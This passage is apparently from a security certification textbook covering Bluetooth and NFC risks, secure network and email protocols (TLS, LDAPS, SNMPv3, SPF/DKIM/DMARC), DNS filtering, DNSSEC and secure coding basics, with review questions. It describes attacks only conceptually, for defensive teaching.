• Malware—is when there are proof-of-concept Bluetooth worms and application

exploits, most notably the BlueBorne exploit (armis.com/blueborne), which
can compromise any active and unpatched system regardless of whether
discovery is enabled and without requiring any user intervention. There are also
vulnerabilities in the authentication schemes of many devices. Keep devices
updated with the latest firmware.

Pairing a computer with a smartphone. (Screenshot used with permission from Microsoft.)

It is also the case that using a control center toggle may not actually turn off the
Bluetooth radio on a mobile device. If there is any doubt about patch status or
exposure to vulnerabilities, Bluetooth should be fully disabled through device
settings.

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Unless device authentication is configured, a discoverable device is vulnerable

to bluejacking, a sort of spam where someone sends you an unsolicited text (or
picture/video) message or vCard (contact details). This can also be a vector for
malware, as demonstrated by the Obad Android Trojan malware (securelist.com/
the-most-sophisticated-android-trojan/35929).
Bluesnarfing refers to using an exploit in Bluetooth to steal information from
someone else’s phone. The exploit (now patched) allows attackers to circumvent the
authentication mechanism. Even without an exploit, a short (four-digit) PIN code is
vulnerable to brute force password guessing.
Other significant risks come from the device being connected to another device.
A peripheral device with malicious firmware can be used to launch highly effective
attacks. This type of risk has a low likelihood as demanding resources required to
craft such malicious peripherals.

Bluetooth Security Features

Bluetooth incorporates several security features to ensure data and communication
security.

Feature Description
Pairing and Authentication During pairing, devices exchange
cryptographic keys to authenticate
each other’s identity and establish
a secure communication channel.
Pairing is accomplished using various
methods, such as numeric comparison,
passkey entry, or out-of-band (OOB)
authentication.
Bluetooth Permissions Bluetooth generally requires user
consent or permission to connect and
access specific services. Users can
control which devices connect to their
Bluetooth-enabled devices and manage
permissions to prevent unauthorized
access.
Encryption Bluetooth employs encryption algorithms
to protect data transmitted between
devices. Once pairing is complete,
Bluetooth devices use a shared secret
key to encrypt data packets.
Bluetooth Secure Connections (BSC) Introduced in Bluetooth 4.0, BSC
offers increased resistance against
eavesdropping, on-path attacks, and
unauthorized access.
Bluetooth Low Energy (BLE) Privacy BLE is a power-efficient version of
Bluetooth that uses randomly generated
device addresses that periodically change
to prevent tracking and unauthorized
identification of BLE devices.

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Near-Field Communications and Mobile

Payment Services
Near-field communication (NFC) is based on a particular type of radio frequency
ID (RFID). NFC sensors and functionality are now commonly incorporated into
smartphones. An NFC chip can also be used to read passive RFID tags at close
range, configure other types of connections (pairing Bluetooth devices, for
instance), and exchange information such as contact cards. An NFC transaction
is sometimes known as a bump, named after an early mobile sharing app, later
redeveloped as Android Beam, to use NFC.
The typical use case is in “smart” posters, where the user can tap the tag in the
poster to open a linked webpage via the information coded in the tag.
Attacks could be developed using vulnerabilities in handling the tag
(securityboulevard.com/2019/10/nfc-false-tag-vulnerability-cve-2019-9295). It is also
possible to exploit NFC by crafting tags to direct the device browser to a malicious
webpage where the attacker could try to exploit vulnerabilities in the browser.
NFC does not provide encryption, so eavesdropping and on-path attacks are
possible if the attacker can find some way of intercepting the communication and
the software services are not encrypting the data.
The widest application of NFC is to make payments via contactless point-of-sale
(PoS) machines. To configure a payment service, the user enters their credit
card information into a mobile wallet app on the device. The wallet app does
not transmit the original credit card information, but a one-time token that is
interpreted by the card merchant and linked backed to the relevant customer
account. There are three major mobile wallet apps: Apple Pay, Google Pay (formerly
Android Pay), and Samsung Pay.
Despite having a close physical proximity requirement, NFC is vulnerable to several
types of attacks. Certain antenna configurations may be able to pick up the RF
signals emitted by NFC from several feet away, allowing an attacker to eavesdrop
from a more comfortable distance. An attacker with a reader may also be able
to skim information from an NFC device in a crowded area, such as a busy train.
An attacker may also be able to corrupt data as it is being transferred through a
method similar to a DoS attack—by flooding the area with an excess of RF signals to
interrupt the transfer.

Skimming a credit or bank card will give the attacker the long card number and
expiration date. Completing fraudulent transactions directly via NFC is much more
difficult as the attacker would have to use a valid merchant account and fraudulent
transactions related to that account would be detected very quickly.

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Review Activity:
Mobile Device Hardening
5

Answer the following questions:

1. What type of deployment model(s) allow users to select the mobile

device make and model?

2. Company policy requires that you ensure your smartphone is secured

from unauthorized access in case it is lost or stolen. To prevent someone
from accessing data on the device immediately after it has been turned
on, what security control should be used?

3. True or false? A maliciously designed USB battery charger could be used

to exploit a mobile device on connection.

4. Why might enforcement policies be used to prevent USB tethering when

a smartphone is brought to the workplace?

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Lesson 10
Summary
5

You should be able to apply host hardening policies and technologies and to assess
risks from third-party supply chains and embedded/IoT systems.

Guidelines for Implementing Host Security Solutions

Follow these guidelines when you deploy or re-assess endpoint security and
integration with embedded or IoT systems:
• Establish configuration baselines for each host type. Ensure that hosts are
deployed to the configuration baseline and set up monitoring to ensure
compliance.

• Configure full disk encryption.

• Deploy an endpoint protection solution that meets security requirements for

functions such as antimalware, firewall, IDS, EDR, and DLP.

• Establish patch management procedures to test updates for different host

groups and ensure management of both OS and third-party software.

• Create a management plan for any IoT devices used in the workplace.

• Assess security requirements for ICS and/or SCADA embedded systems:

• Procurement of secure embedded and IoT systems

• Use of cryptographic controls for authentication, integrity, and resiliency

• Access control and segmentation for OT networks

• Vendor support for patch management

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 Lesson 11
Enhance Application Security
Capabilities
1

LESSON INTRODUCTION
Secure protocol and application development concepts are essential pillars of
robust cybersecurity. Protocols such as HTTPS, SMTPS, and SFTP provide encrypted
communication channels, ensuring data confidentiality and integrity during
transmission. Similarly, email security protocols like SPF, DKIM, and DMARC work
to authenticate sender identities and safeguard against phishing and spam. Secure
coding practices encompass input validation to thwart attacks like SQL injection or
XSS, enforcing the principle of least privilege to minimize exposure during a breach,
implementing secure session management, and consistently updating and patching
software components. Developers must also design software that generates
structured, secure logs to support effective monitoring and alerting capabilities.

Lesson Objectives
In this lesson, you will do the following:
• Understand secure protocol concepts.

• Explore DNS filtering capabilities.

• Review email security protocols.

• Explore application security techniques.

• Review sandboxing concepts.

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Topic 11A
Application Protocol Security Baselines
2

EXAM OBJECTIVES COVERED

4.5 Given a scenario, modify enterprise capabilities to enhance security.

Secure protocols are fundamental in maintaining the security of data. Secure

protocols include HTTPS (Hypertext Transfer Protocol Secure) for secure web traffic,
SMTPS and IMAPS for securing traditional email protocols, SFTP (SSH File Transfer
Protocol) or FTPS (File Transfer Protocol Secure), LDAPS for secure directory access,
and DNSSEC for secure DNS queries. These protocols ensure that sensitive data is
transmitted securely.
Additionally, several protocols exist to help identify and mitigate phishing and
spam emails by authenticating sender identities and checking message integrity,
including protocols such as SPF (Sender Policy Framework), DKIM (DomainKeys
Identified Mail), and DMARC (Domain-based Message Authentication, Reporting &
Conformance). These protocols establish trust in email communications, reducing
the likelihood of successful phishing and spam attacks.

Secure Protocols
Many of the protocols used on computer networks today were developed many
decades ago when functionality was paramount, trustworthiness was assumed
instead of earned, and network security was less of an issue than it is today. Many
early-era protocols have secure alternatives or can be configured to incorporate
security features, whereas others must simply be avoided.
Insecure protocols, such as HTTP and Telnet, transmit data in clear text format,
meaning anyone accessing the data packets can read any intercepted data sent over
a network. In contrast, secure protocols, like HTTPS and SSH (as alternatives to HTTP
and TELNET), use encryption to protect transmitted data and improve security.
Using HTTPS is crucial for protecting sensitive user information, such as login
credentials and data entered into form fields, from being stolen when using
webpages. System and network engineers must use SSH instead of Telnet when
connecting to servers and equipment to ensure their login information, data, and
commands are encrypted.
Unfortunately, secure protocols are typically more complex to implement,
manage, and maintain when compared to their insecure counterparts and so
are often avoided or disabled. For example, HTTPS requires obtaining a valid
SSL/TLS certificate from a certificate authority (CA). After obtaining the appropriate
certificate, it must be correctly installed and configured on a server, which requires
more skill, time, and planning than simply enabling and using HTTP.
Secure protocols leverage encryption and decryption which require the correct
handling of cryptographic keys, including processes regarding how they are
created, stored, distributed, and revoked. Additionally, after properly obtaining
and configuring the certificate, it must be managed effectively to ensure it remains
trustworthy and does not expire.

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Troubleshooting issues with secure protocols is more challenging compared to

insecure counterparts because administrators cannot easily inspect the content
of data packets when troubleshooting issues, and the configuration of secure
software and operating systems is more complicated and prone to misconfiguration
compared to simple configurations that use insecure protocols.
Despite these complexities, the security benefits provided by secure protocols
significantly outweigh the challenges. All protocols should be secure unless specific
justifications exist that warrant the use of insecure ones.

Implementing Secure Protocols

Organizations usually follow formal processes when selecting secure protocols to
ensure comprehensive documentation and well-informed decision-making. These
processes include assessing risks, reviewing policies, and evaluating the security
features of different protocols. Organizations may also consult with technical
experts or vendors for recommendations. The outcomes of these processes are
documented, which is useful for audits and compliance reviews. Additionally,
these process outcomes will typically impact security baselines and configuration
management systems.
Selecting protocols, assigning ports, setting transport methods, and other security
considerations require careful consideration. The first step requires evaluating
the data type in use and its sensitivity level. Organizations should select secure
protocols like HTTPS, SSH, and SFTP/FTPS for transmitting sensitive or private data.
Configuring TCP ports depends on the protocol, as standard ports are associated
with specific protocols (HTTP commonly uses port 80, HTTPS uses port 443). While
default protocol ports can be changed, doing so may complicate configuration and
cause potential accessibility issues.
However, many administrators choose to change standard default ports and a
method to obscure them. TCP (Transmission Control Protocol) and UDP (User
Datagram Protocol) are two principal transport methods. TCP is connection-
oriented and provides reliability, ordering, and error-checking, making it suitable
for applications requiring high levels of reliability. UDP is connectionless, making it
faster than TCP and more suitable for real-time applications like video streaming,
telephony, and gaming, where occasional packet loss is less impactful.
When selecting secure protocols, administrators and analysts must consider
suitable encryption levels, authentication methods, the existence of firewalls or
other security equipment, and other factors which may impact the operation of the
systems and software they are intended to protect. Ultimately, protocol selection
requires an optimum balance among security, maintainability, performance, and
cost.

Transport Layer Security

As with other early TCP/IP application protocols, HTTP communications are not
secured. Secure Sockets Layer (SSL) was developed by Netscape in the 1990s to
address the lack of security in HTTP. SSL proved very popular with the industry
and it was quickly adopted as a standard named Transport Layer Security (TLS).
It is typically used with the HTTP application (referred to as HTTPS or HTTP Secure)
but can also be used to secure other application protocols and as a virtual private
networking (VPN) solution.
To implement TLS, a server is assigned a digital certificate signed by some trusted
certificate authority (CA). The certificate proves the identity of the server (assuming
that the client trusts the CA) and validates the server’s public/private key pair.
The server uses its key pair and the TLS protocol to agree on mutually supported
ciphers with the client and negotiate an encrypted communications session.

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HTTPS operates over port 443 by default. HTTPS operation is indicated by using
https:// for the URL and by a padlock icon shown in the browser.

It is also possible to install a certificate on the client so that the server can trust the
client. This is not often used on the web but is a feature of VPNs and enterprise
networks that require mutual authentication.

SSL/TLS Versions
While the acronym SSL is still used, the Transport Layer Security versions are the
only ones that are safe to use. A server can provide support for legacy clients, but
obviously this is less secure. For example, a TLS 1.2 server could be configured to
allow clients to downgrade to TLS 1.1 or 1.0 or even SSL 3.0 if they do not support
TLS 1.2.

A downgrade attack is where an on-path attack tries to force the use of a weak cipher
suite and SSL/TLS version.

TLS version 1.3 was approved in 2018. One of the main features of TLS 1.3 is the
removal of the ability to perform downgrade attacks by preventing the use of
unsecure features and algorithms from previous versions. There are also changes
to the handshake protocol to reduce the number of messages and speed up
connections.

Cipher Suites
A cipher suite is the algorithms supported by both the client and server to perform
the different encryption and hashing operations required by the protocol. Prior to
TLS 1.3, a cipher suite would be written in the following form:
ECDHE-RSA-AES128-GCM-SHA256
This means that the server can use Elliptic Curve Diffie-Hellman Ephemeral mode
for session key agreement, RSA signatures, 128-bit AES-GCM (Galois Counter Mode)
for symmetric bulk encryption, and 256-bit SHA for HMAC functions. Suites the
server prefers are listed earlier in its supported cipher list.
TLS 1.3 uses simplified and shortened suites. A typical TLS 1.3 cipher suite appears
as follows:
TLS_AES_256_GCM_SHA384
Only ephemeral key agreement is supported in 1.3 and the signature type is
supplied in the certificate, so the cipher suite only lists the bulk encryption key
strength and mode of operation (AES_256_GCM), plus the cryptographic hash
algorithm (SHA384) used within the new hash key derivation function (HKDF). HKDF
is the mechanism by which the shared secret established by D-H key agreement is
used to derive symmetric session keys.

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Viewing the TLS handshake in a Wireshark packet capture. Note that the connection is using
TLS 1.3 and one of the shortened cipher suites (TLS_AES_128_GCM_SHA256).

Secure Directory Services

A network directory lists the subjects (principally users, computers, and services)
and objects (such as directories and files) available on the network plus the
permissions that subjects have over objects. A directory facilitates authentication
and authorization, and it is critical that it be maintained as a highly secure service.
Most directory services are based on the Lightweight Directory Access Protocol
(LDAP), running over port 389. The basic protocol provides no security and all
transmissions are in plaintext, making it vulnerable to sniffing and on-path attacks.
Authentication (referred to as binding to the server) can be implemented in the
following ways:
• No Authentication—means anonymous access is granted to the directory.

• Simple Bind—means the client must supply its distinguished name (DN) and
password, but these are passed as plaintext.

• Simple Authentication and Security Layer (SASL)—means the client and

server negotiate the use of a supported authentication mechanism, such as
Kerberos. The STARTTLS command can be used to require encryption (sealing)
and message integrity (signing). This is the preferred mechanism for Microsoft’s
Active Directory (AD) implementation of LDAP.

• LDAP Secure (LDAPS)—means the server is installed with a digital certificate,

which it uses to set up a secure tunnel for the user credential exchange. LDAPS
uses port 636.

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If secure access is required, anonymous and simple authentication access methods

should be disabled on the server.
Generally two levels of access will need to be granted on the directory: read-only
access (query) and read/write access (update). This is implemented using an access
control policy, but the precise mechanism is vendor-specific and not specified by
the LDAP standards documentation.
Unless hosting a public service, the LDAP directory server should also only be
accessible from the private network. This means that the LDAP port should be
blocked by a firewall from access over the public interface. If there is integration
with other services over the Internet, ideally only authorized IPs should be
permitted.

Simple Network Management Protocol Security

The Simple Network Management Protocol (SNMP) is a widely used framework
for management and monitoring. SNMP consists of an SNMP monitor and agents.
• The agent is a process (software or firmware) running on a switch, router, server,
or other SNMP-compatible network device.

• This agent maintains a database called a management information base (MIB)

that holds statistics relating to the activity of the device (for example, the number
of frames per second handled by a switch). The agent is also capable of initiating
a trap operation where it informs the management system of a notable event
(port failure, for instance). The threshold for triggering traps can be set for each
value. Device queries take place over port 161 (UDP); traps are communicated
over port 162 (also UDP).

• The SNMP monitor (a software program) provides a location from which

network activity can be overseen. It monitors all agents by polling them at
regular intervals for information from their MIBs and displays the information
for review. It also displays any trap operations as alerts for the network
administrator to assess and act upon as necessary.

If SNMP is not used, it should be disabled. When running SNMP the following
includes some important guidlines:
• SNMP community names are sent in plaintext and so should not be transmitted
over the network if there is any risk that they could be intercepted.

• Use difficult-to-guess community names; never leave the community name blank
or set to the default.

• Use access control lists to restrict management operations to known hosts (that
is, restrict to one or two host IP addresses).

• Use SNMP v3 when possible, and disable older versions of SNMP. SNMP
v3 supports encryption and strong user-based authentication. Instead of
community names, the agents are configured with a list of usernames and
access permissions. When authentication is required, SNMP messages are
signed with a hash of the user’s passphrase. The agent can verify the signature
and authenticate the user using its own record of the passphrase.

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File Transfer Services

There are many means of transferring files across networks. A network operating
system can host shared folders and files, enabling them to be copied or accessed
over the local network or via remote access (over a VPN, for instance). Email and
messaging apps can send files as attachments. HTTP supports file download (and
uploads via various scripting mechanisms). There are also peer-to-peer file sharing
services.
Despite the availability of these newer protocols and services, the File Transfer
Protocol (FTP) remains very popular because it is efficient and has wide cross-
platform support.

File Transfer Protocol

A File Transfer Protocol (FTP) server is typically configured with several public
directories, hosting files, and user accounts. Most HTTP servers also function as
FTP servers, and FTP services, accounts, and directories may be installed and
enabled by default when you install a web server. FTP is more efficient compared
to file attachments or HTTP file transfer, but has no security mechanisms. All
authentication and data transfer are communicated as plaintext, meaning that
credentials can easily be picked out of any intercepted FTP traffic.

You should check that users do not install unauthorized servers on their PCs (a rogue
server). For example, a version of IIS that includes HTTP, FTP, and SMTP servers is
shipped with client versions of Windows, though it is not installed by default.

SSH FTP (SFTP) and FTP Over SSL (FTPS)

Secure File Transfer Protocol (SFTP) addresses the privacy and integrity issues of
FTP by encrypting the authentication and data transfer between client and server.
In SFTP, a secure link is created between the client and server using Secure Shell
(SSH) over TCP port 22. Ordinary FTP commands and data transfer can then be sent
over the secure link without risk of eavesdropping or on-path attacks. This solution
requires an SSH server that supports SFTP and SFTP client software.
Another means of securing FTP is to use the connection security protocol SSL/TLS.
There are two means of doing this:
• Explicit TLS (FTPES)—uses the AUTH TLS command to upgrade an unsecure
connection established over port 21 to a secure one. This protects authentication
credentials. The data connection for the actual file transfers can also be
encrypted (using the PROT command).

• Implicit TLS (FTPS)—negotiates an SSL/TLS tunnel before the exchange of any

FTP commands. This mode uses the secure port 990 for the control connection.

FTPS is tricky to configure when there are firewalls between the client and server.
Consequently, FTPES is usually the preferred method.

Email Services
Email services use two types of protocols:
• The Simple Mail Transfer Protocol (SMTP) specifies how mail is sent from one
system to another.

• A mailbox protocol stores messages for users and allows them to download
them to client computers or manage them on the server.

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Secure SMTP (SMTPS)

To deliver a message, the SMTP server of the sender discovers the IP address of the
recipient SMTP server using the domain name part of the email address. The SMTP
server for the domain is registered in DNS using a mail exchanger (MX) record.
SMTP communications can be secured using TLS. This works much like HTTPS with
a certificate on the SMTP server. There are two ways for SMTP to use TLS:
• STARTTLS—is a command that upgrades an existing unsecure connection to use
TLS. This is also referred to as explicit TLS or opportunistic TLS.

• SMTPS—establishes the secure connection before any SMTP commands (HELO,

for instance) are exchanged. This is also referred to as implicit TLS.

The STARTTLS method is generally more widely implemented than SMTPS. Typical
SMTP configurations use the following ports and secure services:
• Port 25—is used for message relay (between SMTP servers or message transfer
agents [MTA]). If security is required and supported by both servers, the
STARTTLS command can be used to set up the secure connection.

• Port 587—is used by mail clients (message submission agents [MSA]) to submit
messages for delivery by an SMTP server. Servers configured to support port 587
should use STARTTLS and require authentication before message submission.

• Port 465—is used by some providers and mail clients for message submission
over implicit TLS (SMTPS), though this usage is now deprecated by standards
documentation.

Secure POP (POP3S)

The Post Office Protocol v3 (POP3) is a mailbox protocol designed to store the
messages delivered by SMTP on a server. When the client connects to the mailbox,
POP3 downloads the messages to the recipient’s email client.

Configuring mailbox access protocols on a server.

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A POP3 client application, such as Microsoft Outlook or Mozilla Thunderbird,

establishes a TCP connection to the POP3 server over port 110. The user is
authenticated (by username and password), and the contents of their mailbox are
downloaded for processing on the local PC. POP3S is the secured version of the
protocol operating over TCP port 995 by default.

Secure IMAP (IMAPS)

Compared to POP3, the Internet Message Access Protocol (IMAP) supports
permanent connections to a server and connects multiple clients to the same
mailbox simultaneously. It also allows a client to manage mail folders on the server.
Clients connect to IMAP over TCP port 143. They authenticate themselves, then
retrieve messages from the designated folders. As with other email protocols, the
connection can be secured by establishing an SSL/TLS tunnel. The default port for
IMAPS is TCP port 993.

Email Security
Three technologies have emerged as essential for verifying the authenticity
of emails and preventing phishing and spam. Sender Policy Framework (SPF),
DomainKeys Identified Mail (DKIM), and Domain-based Message Authentication,
Reporting & Conformance (DMARC).
Sender Policy Framework (SPF) is an email authentication method that helps
detect and prevent sender address forgery, which is commonly used in phishing
and spam emails. SPF works by verifying the sender’s IP address against a list of
authorized sending IP addresses published in the DNS TXT records of the email
sender’s domain. When an email is received, the receiving mail server checks the
SPF record of the sender’s domain to verify the email originated from one of the
pre-authorized systems.

Displaying the TXT records for microsoft.com using the dig tool. (Screenshot used with
permission from Microsoft.)

DomainKeys Identified Mail (DKIM) leverages encryption features to enable email

verification by allowing the sender to sign emails using a digital signature. The
receiving email server uses a DKIM record in the sender’s DNS record to verify the
signature and verify the email’s integrity.
Domain-based Message Authentication, Reporting & Conformance (DMARC)
uses the results of SPF and DKIM checks to define rules for handling messages, such
as moving messages to quarantine or spam, rejecting them outright, or tagging
the message. DMARC also provides reporting capabilities, giving the owner of a
domain visibility into which systems are sending emails on their behalf, including
unauthorized activity.

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Performing a DMARC lookup using the DNSChecker website https://dnschecker.org.

The combined use of SPF, DKIM, and DMARC significantly enhances email security by
making it much more difficult for attackers to impersonate trusted domains, which is
one of the most common tactics used in phishing and spam attacks. These protocols
are essential tools in the fight against email-based threats because they provide
essential mechanisms that help verify the authenticity of emails, maintain the integrity
of the email content, and ensure the safe delivery of electronic communication.

Email Gateway
An email gateway is the control point for all incoming and outgoing email traffic.
It acts as a gatekeeper, scrutinizing all emails to remove potential threats before
they reach inboxes. Email gateways utilize several security measures, including
anti-spam filters, antivirus scanners, and sophisticated threat detection algorithms
to identify phishing attempts, malicious URLs, and harmful attachments. Email
gateways leverage DMARC, SPF, and DKIM to automate the authentication and
validation of email senders, reducing the chances that spoofed or impersonated
emails will be delivered.
Email gateways also play a critical role in policy enforcement by allowing
organizations to create rules related to email content and attachments based on
established policies or regulatory compliance requirements. Attachment blocking,
content filtering, and data loss prevention are common tasks email gateways handle.

Secure/Multipurpose Internet Mail Extensions

Secure/Multipurpose Internet Mail Extensions (S/MIME) is a protocol for securing
email communications. It encrypts emails and enables sender authentication to
ensure both the confidentiality and integrity of email communications. S/MIME uses
public key encryption techniques to secure email content (the “body” of email).
S/MIME also incorporates digital signatures to support sender verification and
ensure messages are unmodified. By providing encryption and authentication

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capabilities, S/MIME significantly enhances the security of email communication,

but its implementation is often complicated and prone to misconfiguration.

Email Data Loss Prevention

Email is one of the most frequently used communication channels within
organizations. It serves as a conduit for sensitive data such as financial information,
intellectual property, customer and employee data, and personally identifiable
information (PII.) Given its popularity and the sensitivity of the data it often carries,
email is a common vector for data loss, making data loss prevention (DLP)
protections exceedingly important.
While convenient, the ease of use and quick transmission capabilities of email can
inadvertently encourage careless handling of sensitive data. Human errors, such as
sending confidential data to the wrong recipients or failing to use secure methods
for data transmission, are common and underscore the importance of DLP
measures. In addition, DLP solutions are crucial in guarding against insider threats.
Insiders can pose significant data leakage risks due to a lack of policy awareness or
malicious intent.
Regulations like GDPR, HIPAA, and PCI DSS impose stringent requirements for
protecting specific data types, with DLP serving as a key mechanism to ensure
compliance and avoid unauthorized data transmission. Additionally, because email
is a primary target for attacks, DLP protections significantly mitigate the risk of data
loss, ensuring the appropriate handling and protection of sensitive information.
Data loss prevention (DLP) technologies prevent unauthorized sharing or
dissemination of sensitive information. DLP policies are essential for monitoring
and controlling the content used in communication platforms like email. DLP scans
emails and attachments for certain types of sensitive information defined by the
organization’s DLP policies, including credit card numbers, social security numbers,
proprietary information, or any sensitive or confidential data. If an email contains
these types of information, the DLP system can take several actions based on
predefined rules, such as blocking the email, alerting the sender or administrator,
or automatically encrypting it before transmission.
Enforcing DLP in email is essential for many organizations, especially those handling
sensitive customer data or subject to regulations like GDPR, HIPAA, or PCI DSS.
DLP helps organizations minimize the risk of data breaches, avoid noncompliance
penalties, and maintain data security and privacy. DLP is often enforced using email
gateways and security policies on endpoint protection tools.

DNS Filtering
Domain Name System (DNS) filtering is a technique that blocks or allows access to
specific websites by controlling the resolution of domain names into IP addresses. It
operates on the principle that for a device to access a website, it must first resolve
its domain name into its associated IP address, which is a process managed by DNS.
When a request is made to resolve a website URI, the DNS filter checks the request
against a database of domain names. If the domain is found to be associated with
malicious activities or is on an unapproved list for any reason, the filter blocks the
request, preventing access to the potentially harmful website.
DNS filtering is highly effective for many reasons. A few are listed below:
• It provides a proactive defense mechanism, blocking access to known phishing
sites, malware distribution sites, and other malicious online destinations.

• It can help enforce an organization’s acceptable use policies (AUPs) by blocking

access to inappropriate or distracting websites and ensuring that the Internet is
being used responsibly and productively.

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• It can protect all devices connected to a network, including IoT devices, providing
an extra layer of security.

• It is a simple solution that is easy to implement and presents a minimal risk,

making it a cost-effective security control suitable for networks of any size.

While DNS filtering is highly effective, it must be combined with other security
measures for comprehensive protection.

Implementing DNS Filtering

DNS filtering is implemented using different methods and tools. A prevalent
method is through DNS filtering services like Cisco’s OpenDNS (https://www.
opendns.com/), Quad9 (https://www.quad9.net/), or CleanBrowsing (https://
cleanbrowsing.org/). These services provide DNS resolution with built-in filtering,
simply requiring organizations and users to redirect their DNS requests to the
filtering service’s DNS servers.
Organizations that manage their own DNS servers, such as Microsoft’s DNS server
or BIND, can directly implement DNS filtering. This method, albeit more complex,
provides complete control over filtering policies and permits the integration of
block lists or RPZ (Response Policy Zone) feeds into server configurations.
Another strategy involves using DNS firewalls, which intercept DNS queries at
the network level and apply filtering rules accordingly. Some endpoint protection
tools and antivirus software provide DNS filtering capabilities to provide device-
level protection ideal for laptops and other mobile devices that may connect to
numerous networks with varying levels of security enabled by default.
Open source Pi-hole (https://pi-hole.net/) or ADGuard (https://github.com/
AdguardTeam/AdguardHome) software can be configured as a local DNS
resolver with filtering capabilities. This software runs on Linux and is commonly
implemented using Raspberry Pi hardware due to its low-performance overhead.
Regardless of the method chosen, customization of filtering policies allows for
categorizing websites to simplify the creation of block lists or allow lists per
requirements. Keeping DNS filters updated is essential to effective DNS filtering to
keep pace with evolving threats and changing organizational needs.

The Pi-hole administrative dashboard showing DNS resolution statistics.

(Screenshot courtesy of Pi-hole.)

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DNS Security
DNS is a critical service that should be configured to be fault tolerant. DoS attacks
are hard to perform against the servers that perform Internet name resolution,
but if an attacker can target the DNS server on a private network, it is possible to
seriously disrupt the operation of that network.
To ensure DNS security on a private network, local DNS servers should only accept
recursive queries from local hosts (preferably authenticated local hosts) and not
from the Internet. You also need to implement access control measures on the
server to prevent a malicious user from altering records manually. Similarly, clients
should be restricted to using authorized resolvers to perform name resolution.
Attacks on DNS may also target the server application and/or configuration. Many
DNS services run on BIND (Berkley Internet Name Domain), distributed by the
Internet Systems Consortium (isc.org). There are known vulnerabilities in many
versions of the BIND server, so it is critical to patch the server to the latest version.
The same general advice applies to other DNS server software, such as Microsoft’s.
Obtain and check security announcements and then test and apply critical and
security-related patches and upgrades.
DNS footprinting means obtaining information about a private network by using
its DNS server to perform a zone transfer (all the records in a domain) to a rogue
DNS or simply by querying the DNS service, using a tool such as nslookup or
dig. To prevent this, you can apply an access control list to prevent zone transfers
to unauthorized hosts or domains, to prevent an external server from obtaining
information about the private network architecture.
DNS Security Extensions (DNSSEC) help to mitigate against spoofing and poisoning
attacks by providing a validation process for DNS responses. With DNSSEC enabled,
the authoritative server for the zone creates a “package” of resource records (called
an RRset) signed with a private key (the Zone Signing Key). When another server
requests a secure record exchange, the authoritative server returns the package
along with its public key, which can be used to verify the signature.
The public Zone Signing Key is itself signed with a separate Key Signing Key.
Separate keys are used so that if there is some sort of compromise of the Zone
Signing Key, the domain can continue to operate securely by revoking the
compromised key and issuing a new one.

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Windows Server DNS services with DNSSEC enabled. (Screenshot used with permission
from Microsoft.)
The Key Signing Key for a particular domain is validated by the parent domain
or host ISP. The top-level domain trusts are validated by the Regional Internet
Registries and the DNS root servers are self-validated, using a type of M-of-N
control group key signing. This establishes a chain of trust from the root servers
down to any particular subdomain.

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Review Activity:
Application Protocol Security
3

Baselines
Answer the following questions:

1. What type of attack against HTTPS aims to force the server to negotiate
weak ciphers?

2. When using S/MIME, which key is used to protect the confidentiality of a

2.

message?

3. Which protocol should be used to replace TELNET?

3.

4. True or false? DNSSEC depends on a chain of trust from the root servers
4.

down.

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Topic 11B
Cloud and Web Application Security
Concepts
5

EXAM OBJECTIVES COVERED

4.1 Given a scenario, apply common security techniques to computing resources.

Cloud and web application security include cloud hardening, which fortifies cloud
infrastructure and reduces its attack surface, and application security, which
ensures software is securely designed, developed, and deployed. Both practices
work together to establish a layered defense strategy, effectively protecting
against many different threats. Secure coding practices include input validation
techniques, incorporating the principle of least privilege, maintaining secure session
management, enforcing encryption, patching support, and many other capabilities.
Additionally, developers must design software that produces comprehensive,
structured, and meaningful logs while incorporating real-time alerting mechanisms.
These complementary practices support a safe and secure cloud and web
application environment.

Secure Coding Techniques

The security considerations for new programming technologies should be
well understood and tested before deployment. One of the challenges of
application development is that the pressure to release a solution often trumps
any requirement to ensure that the application is secure. A legacy software
design process might be heavily focused on highly visible elements, such as
functionality, performance, and cost. Modern development practices use a security
development lifecycle running in parallel or integrated with the focus on software
functionality and usability. Examples include Microsoft’s SDL (microsoft.com/en-us/
securityengineering/sdl) and the OWASP Software Assurance Maturity Model
(owasp.org/www-project-samm) and Security Knowledge Framework (owasp.org/
www-project-security-knowledge-framework). OWASP also collates descriptions of
specific vulnerabilities, exploits, and mitigation techniques, such as the OWASP
Top 10 (owasp.org/www-project-top-ten).

Input Validation
Input validation is an essential protection technique used in software and
web development that addresses the issue of untrusted input. Untrusted input
describes how an attacker can provide specially crafted data to an application to
manipulate its behavior. Injection attacks exploit the input mechanisms applications
rely on to execute malicious commands and scripts to access sensitive data, control
the operation of the application, gain access to otherwise protected back-end
systems, and disrupt operations.

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OWASP provides an excellent overview of input validation at https://cheatsheetseries.

owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html.

Without effective input validation, applications are vulnerable to many different

classes of injection attacks, such as SQL injection, code injection, cross-site scripting
(XSS), and many others.

Validation Method Description

Allowlisting This method only permits inputs that match a
predetermined and approved set of values or
patterns.
Blocklisting This approach explicitly blocks known harmful
inputs, such as certain special characters or patterns
commonly used in attacks.
Data Type Checks These checks ensure the input data is of the expected
type, such as a string, integer, or date.
Range Checks These validate that numeric inputs fall within expected
ranges.
Regular Expressions Also known as regex, these are used to match input to
expected patterns or signs of malicious activity.
Encoding This helps to safely and reliably prevent special
characters in input from being interpreted as
executable commands or scripts.

Secure Cookies
Cookies are small pieces of data stored on a computer by a web browser while
accessing a website. They maintain session states, remember user preferences,
and track user behavior and other settings. Cookies can be exploited if not properly
secured, leading to attacks such as session hijacking or cross-site scripting.
To implement secure cookies, developers must follow certain well-documented
principles, such as using the ‘Secure’ attribute for all cookies to ensure they are only
sent over HTTPS connections and protected from interception via eavesdropping,
using the ‘HttpOnly’ attribute to prevent client-side scripts from accessing cookies
and protect against cross-site scripting attacks, and using the ‘SameSite’ attribute
to limit when cookies are sent to mitigate cross-site request forgery attacks.
Additionally, cookies should have expiration time limits to restrict their usable life.
Secure cookie techniques are critical in mitigating several web-based application
attacks, particularly those focused on unauthorized access or manipulation of
session cookies. Developers can defend against attacks that target them by
employing specific attributes within cookies.

Static Code Analysis

Static code analysis is a crucial software development practice. It involves
scrutinizing source code to identify potential vulnerabilities, errors, and
noncompliant coding practices before the program is finalized. By examining code
in a ‘static’ state, developers can catch and rectify issues early in the development
lifecycle, making it a proactive approach to building secure, reliable, and
high-quality software.

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Application security approaches focus on software development and deployment

lifecycles, with a heavy emphasis on secure coding practices that encourage
